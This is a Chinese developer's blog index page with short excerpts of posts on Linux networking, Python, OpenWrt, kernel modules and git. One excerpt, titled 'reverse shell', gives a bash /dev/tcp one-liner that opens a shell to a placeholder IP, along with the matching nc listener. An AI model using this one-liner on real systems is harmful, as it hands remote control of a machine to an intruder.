自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

钱国正的专栏

业精于勤荒于嬉,行成于思毁于随

  • 博客(389)
  • 资源 (9)
  • 收藏
  • 关注

原创 iptables connections state 简介

Linux Packet Filtering and iptables Prev Chapter 10. Iptables matches Next 10.3. Explicit matches Explicit matches are those that have to be specifically loaded with the -m or –match

2016-05-23 22:36:31 372

原创 转移git仓库

原来的仓库地址如https://git.hiweeds.net/test.git 新的仓库地址为 https://git.hiweeds.net/real.gitgit clone https://git.hiweeds.net/test.gitcd testgit remote set-url https://git.hiweeds.net/real.gitgit push --all

2016-02-19 13:36:16 554

原创 Linux pppd拨号成功,无法访问网络解决方法

pppd拨号成功生成虚拟接口时, 需要做的工作就是增加默认路由route add default gw 10.64.64.64域名服务器地址更新 vim /etc/resolv.conf114.114.114.114执行resolvconf -u

2016-01-28 19:07:03 6771

原创 python统计程序运行时间函数

统计程序运行时间是time.clock() 装饰器的参数 (*args, **kwargs)import timedef decorated_hello(func):def _hello(*args, **kwargs): print "<function name : " +func.__name__+">" print "<function call begin>"

2016-01-05 21:39:16 2607 1

原创 Linux 段错误调试Segment Fault

Linux下调试方式, 我个人用的主要是两种:1. printf2. coredump3. review代码 (在线程过多或是错误信息不明显时)printf 这个大家都懂, 直接打印,一行一行的。coredump 生成#前提条件程序使用 -g 编译增加调试信息。#允许系统生成coredump文件ulimit -c unlimitedulimit unlimited#查看coredump

2016-01-04 23:44:36 623

原创 Linux内核中监听网线是否插入是否工作函数

这个函数简单查询就解决了我遇到的问题. 从中了解很很多关于Linux内核的sys文件系统的知识以及其实现. 感谢群众的@Win给的提示.网卡在物理上具有载波侦听的功能,当网络连接完整或者网络链接断开时,网卡芯片硬件会自动设置寄存器标志位来标识。如网线链接断开的时候,会将LinkSts清位;重新链接网线,则硬件自动将此位置位。这样,在网卡驱动中读写该位信息就可一判断网络是否链接通路。网卡驱动程序通过n

2015-12-25 18:18:54 1537

原创 python中__getitem__, __setitem__, __delitem__的使用

参考: 伯乐地址用于索引操作,如字典。以上分别表示获取、设置、删除数据#Python __doc__class C(object): """ Holy Shit What The Fuck """ def __init__(self): self.value = {} self.name = 'WuPeiQi' def __getitem__(

2015-12-24 20:48:14 3767

原创 python中__str__, __call__方法

call在加上()时执行class Foo: def __init__(self): pass def __call__(self, *args, **kwargs): print "__call__"obj = Foo()obj() #自动执行此方法__call__输出 print ‘对象’ 自动调用str方法class Foo: def

2015-12-23 22:29:00 1404

原创 Python 类中的__dict__学习笔记

跟着博客学了点python的知识 dict: 类与对象的所有成员; 类输出的是全局的函数,变量等信息。 对象输出的只是对象拥有的普通变量而已# http://python.jobbole.com/83747/class Province: country = 'China' def __init__(self, n

2015-12-23 22:24:19 10690

原创 python yield 学习笔记

学习yield之前,了解了迭代器, 生成器的概念。 没有太多的细化。迭代器对象: 支持iter和next()方法, 其中iter()方法返回迭代对象本身; next()方法返回容器的下一个元素, 在结尾时印发StopIteration异常。生成器是迭代器,但是只能遍历一次。yield返回的就是生成器。看实例, 银行生成器。# -*- coding: utf-8 -*-"""Created on

2015-12-19 12:08:03 461

原创 Python将时间为AM的转换为24小时制

Below is my code , totally C type programmer, no excellent skills.import sys#time = input().strip()time = "00:05:45PM""""I don't know this issue.12:24:35AM -> 0:24:3512:24:35PM -> 12:24:35"""prin

2015-12-05 20:03:58 8490

原创 Django 采用bootstrap-admin的界面部署

错误admin管理目录下的静态资源无法加载,具体原因未知。解决方案搜集需要静态资源。 参考资源在settings.py文件中添加STATIC_ROOT='/static/'此目录必须为相对目录。采用python manage.py collectstatic 搜集需要的静态资源,存放在STATIC_ROOT目录下面。配置nginx服务器,使其支持静态资源。 参考资源location /st

2015-11-30 23:32:51 2208

原创 gitlab-ci环境使用感受

首先是有人帮我们Gitlab的服务器环境搭建好,开源的。然后就是我们的系统软件想通过系统集成的方式,来确保我们的软件可以自动的编译运行, 这个设计还是非常有先见之明的, 做这个事情,想想还是很简单,但是实际操作起来,就不是那么顺畅了。首先是按照Gitlab-runer这个东西是通过ruby写的,当然需要手动安装ruby了,教程在oschina上面有链接地址.然后就是实际的通过改动project的ma

2015-11-26 23:17:39 5804 3

原创 软件持续集成思考

不知缘由现在很多项目都喜欢搞这个持续集成,不知道为什么,跟devops似的,团队之间的文化建设, 但是持续集成这个事情我是支持的。 不然对于个体的信任度加大会导致项目的整体稳定性出现问题。持续集成的利弊分析写web的用这个的频率应该比较高, 对于从事嵌入式应用软件开发来说,系统集成的问题主要是出在软件测试上,即使可以生成固件也无法自动测试。非常麻烦。项目经理–负责催促项目的研发进度 研发的人–专注

2015-11-25 23:15:05 1597

原创 Docker 在阿里云上安装

安装方法curl -sSL https://get.docker.com/ | sh 错误修正方式sudo apt-get remove debian-keyring debian-archive-keyring sudo apt-get clean sudo apt-get update sudo apt-get -y install debian-keyring debian-a

2015-11-24 23:49:22 1686

原创 python 3, 字符串连接速度

对比字符串连接速度,可以发现, 字符串少时, +快; 字符串多时, join快from time import timedef method1(): t = time() for i in range(100000): s = 'hiweeds'+'hiweeds'+'hiweeds'+'hiweeds'+'hiweeds'+'hiweeds'+'hiweeds'+

2015-11-12 22:47:12 1093

原创 ubuntu安装uwsgi遇到的问题解决方案

uwsgi安装ubuntu安装uwsgi遇到的问题Command "/root/myenv/bin/python3.4 -c "import setuptools, tokenize;__file__='/tmp/pip-build-7cr2or3v/uwsgi/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read

2015-11-05 11:02:21 2866 1

原创 openwrt serial串口设置密码

OpenWrt官网地址切记,密码要在openwrt系统里面通过passwd生成,然后拷贝到源码里。用ubuntu系统生成的在openwrt里面不能用。

2015-10-26 11:59:28 2046

原创 反向shell

参考链接客户端执行0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196服务器端执行nc -l -p <任何未封锁的端口> -vvv

2015-10-21 21:38:48 654

原创 ISC互联网安全大会

ISC互联网安全大会总结:Reconnaissance(踩点)Weaponization(组装)Delivery(投送)Exploitation(攻击)Installation(植入)C2(控制)Actions on Objectives(收割)

2015-10-21 21:33:14 660

原创 iperf测试吞吐量

iperf 测试吞吐量TCP 服务器 iperf -sTCP客户端 iperf -c 192.168.1.1 -P 30 -t 60

2015-10-14 16:49:18 2263

原创 linux内核模块间通信办法

这里仅仅涉及到共享全局变量。方法1: 内核中新增头文件声明内核中本身就存在全局变量, 比如jiffies。 类似的在内核的模块中include/linux/xxx.h新建这个头文件。将你向共享的变量的声明放在这个地方。方法2:模块间导出符号表并引用采用函数来操作全局变量也可以,直接导出全局变量也可以。 宏: EXPORT_SYMBOL() 这种方式引用的时候需要在引用此变量的模块中修改Make

2015-10-12 11:55:11 1493

原创 字符设备驱动函数

ret = alloc_chrdev_region(&led_dev.dev, 0, 1, "led"); cdev_init(&led_dev.dev_c, &led_ops); cdev_add(&led_dev.dev_c, led_dev.dev, 1); led_dev.cdev_class = class_create(THIS_MODULE, "led"); device_c

2015-10-09 10:34:32 466

原创 Linux kernel过滤网络数据包

原理剖析内核过滤数据包,第一个想到的是iptables,这个东西是用户层的, 深入点就是netfilter了。 netfilter的5个钩子点可以实现这个。 对内核熟悉点的人会知道layer7, 有的使用框架snort,layer7已经不更新,继承者是ipp2p, 这些都可以。还有Libpcap不知道怎么做,目前没有去深入研究过。方案选定我的本意是针对含有特殊字符串的数据包重定向端口,其他的数据包

2015-09-16 22:36:28 4486

原创 Linux kernel (without create_proc_entry func) Proc文件系统的实例

proc文件系统/proc 目录就是Linux的proc文件系统了, 这里面存放内核的配置信息, 网络配置系统, 以及进程的状态都是以pid明明的目录。总之, 关于内核的基本配置你就可以找到。内核更新在内核的迭代过程中,总有一些接口被废弃, create_proc_entry就是其中之一。 依稀记得,去年的时候一直想写个proc文件系统测试下, 直到上个月才有时间来做这个事情。当初让我试了就不测试

2015-09-16 22:11:04 1448

原创 OpenWrt(来自MTK的源码) 内存,交换机相关配置

内存大小识别由于硬件外围电路设计不同, 我个人对硬件不是很书序,导致了很多的问题, 询问了好多的小伙伴相关的问题. 1. MT7620A这款Soc的I2C是Soc内部还是一个外设. 我得到的结论是这个是通用接口,只要配置成一样就可以通信. 2. 后来发现这个SDRAM不是用的I2C, 那就需要了解这个了. 但是之前在dts里面用lantiq i2c编译的系统运行不起来, 后来修改

2015-09-14 22:21:56 4336

原创 PHP与Linux进程间的通信

进程间通信估计是公司考察应届毕业生的必考点(嵌入式行业),当然很多公司考的是算法。不查阅资料,我脑子里能想到的 [1] 管道, (有名,无名) [2] 父子进程 [3] System V (消息队列, 共享内存,信号量) [4] Socket(本地,网络) [5] 信号 内核与应用程序 [1] 共享内存 [2] /proc/文件

2015-08-21 23:29:51 1943

原创 个人独立网站

个人独立网站地址 http://hiweeds.net 个人独立博客地址 http://blog.hiweeds.net敬请关注

2015-08-05 18:20:37 836 1

原创 阿里云Ubuntu系统+Apache2+PHP搭建gitblog

阿里云Ubuntu系统+Apache2+PHP搭建gitblogApache2以及PHP的安装这里就不介绍了,网上一大堆。唯一需要总结的就是gitblog安装过程中的问题需要解决。我遇到的问题是无法生成404 Not Found需要apache支持rewrite, 改动有三处修改内容apache2.conf, 在末尾加上LoadModule rewrite_module /usr/lib/apac

2015-08-03 10:54:05 1505

原创 openwrt 库依赖的相关,C调用C++库的时候需要的操作。

在openwrt上当提示libstdc++.so.0需要添加依赖时, 添加的是 DEPENDS:=+libstdcppC语言调用C++的类库时,需要用C++重新包裹C++的类库,再使用extern ”C“把函数导出。 这样才能正常的工作。例子放在github上,自己去看。

2015-08-03 10:43:27 1781

原创 OpenWrt配置绿联的usb转Ethernet网口驱动

这个选择kernel modules中的kmod-usb-net-asix 需要添加网络设备接口,类似建立一个vlan,配置下防火墙之类的。

2015-07-31 15:25:59 3604

原创 OpenWrt添加iptables 支持过滤字符串

需要在iptables命令选项中选择mod filter Network->Firewall->iptables->mod filter Kernel Modules->Netfilter Externsion->filter

2015-07-20 21:40:21 82322

原创 查看程序符号表的几个命令

objdump -t xxx.oweeds@weeds-ThinkPad-T440p:~/Documents/encrypchip$ objdump -t main.omain.o: file format elf32-littleSYMBOL TABLE:00000000 l df *ABS* 00000000 main.c00000000 l d .te

2015-07-20 21:35:50 7447

原创 OpenWrt配置绿联的usb转Ethernet网口驱动

这个选择kernel modules中的kmod-usb-net-asix 需要添加网络设备接口,类似建立一个vlan,配置下防火墙之类的。

2015-07-20 21:35:02 8386

原创 polipo代理服务器简介

polipo代理服务器采用的是事件循环机制。 提供缓存功能,不支持透明代理。最近的一个产品需要缓存用以减少流量的作用,于是我们就采用了此款缓存服务器,实现了其透明代理的功能。polipo, 主题架构采用poll监控fd, 针对超时,客户端连接,服务器端的idle,以及缓存的数据分成不同模块,注册了几个回调函数。印象比较深的是polipo中的内存管理,CHUNK_SIZE根据系统不同,分配不同大小也

2015-07-20 21:18:59 6879 3

原创 Qt在xxx.pro文件中执行shell命令

Qt中在*.pro文件中执行命令可以通过system(touch a)来执行。生成的a文件在×.pro文件所在目录正在写这篇文章的时候, 我发现了一个更好的方法,就是post hook. 在.git/hooks/post-commit中添加命令即可。system()参考链接 采用commit hook来生成版本文件

2015-06-26 19:18:10 6077

原创 iPhone作为热点为PC提供网络

iPhone中的”个人热点” 在设置里面, 打开. PC (OS: Ubuntu) 安装libimobiledevice, ipheth-utils, usbmuxd等软件.即可在网络选择Apple iPhone提供网络.参考连接

2015-06-25 17:06:39 2331

原创 OpenWrt配置nfs服务器

PC机Ubuntu #sudo apt-get install nfs-kernel-server #/etc/init.d/nfs-kernel-server start #cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported

2015-06-24 16:34:30 18085

原创 OpenWrt配置opkg.conf

傻人干活才累. 用openwrt有一年多了, 传输数据一直使用wget从外部的web服务器取. 这种方法我个人觉得还算轻松. 但是调试的多了,写大型一点的程序,总是这样就有点麻烦了.安装软件也是如此.前几天无意中看到了opkg.conf, 觉得这个可以让少输入一些地址.修改opkg.conf文件如下root@OpenWrt:/etc# cat opkg.conf dest root /des

2015-06-24 16:24:31 23024

原创 加密算法罗列总结对比

非对称加密算法RSA Elgamal (基础Diffie-Hellman)RabinD-HECC(椭圆曲线加密算法)背包算法适用范围: 加密数据量少,不适合大量数据传输, 适合加密对称算法的秘钥。对称加密算法DES3DESAESTDEABlowfishRC5IDEA适用范围: 加密传输数据,适用大量数据加密,前提是秘钥安全, 如WiFi就通过WPA2-A

2015-06-16 23:30:10 1954

5G NR _ the next generation wireless access technology-Academic Press (2018)

5G NR _ the next generation wireless access technology-Academic Press (2018).pdf

2018-12-06

mtk openwrt 3.10.14 sdk源码

mtk openwrt, 3.10.14的相关文档介绍, 如果定制开发最好熟悉下

2015-09-17

AIO nginx C10K

something about highest Asynchronous Performance development of Concurrent, may be the best docs you can find , thanks

2012-03-31

linux动态链接库示例

linux动态链接库的制作,linux下制作动态链接库 C语言描述

2011-09-18

类 QQ 聊天室 java

本人写的类QQ 聊天室,可以实现实时通讯的,不过没有用户列表,而求是用udp 实现,传输可靠性不是特别高哦

2010-11-08

绩点计算器 C# + SQL Server2005

淮阴师范学院绩点计算器作业,如有需要,欢迎下载啊,各位同学也可以参考内容,仅限源码

2010-10-05

截屏源码 java 编写 code

上次的那个没有源码抱歉,这个给补上了,里面包含各种资源信息,希望有兴趣的同学下载

2010-10-04

java 截图工具 源代码

程序设计时有四秒的等待时间 源码部分已经给出,可以再次基础上自己编写图形界面,以及设置截屏大小

2010-10-04

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除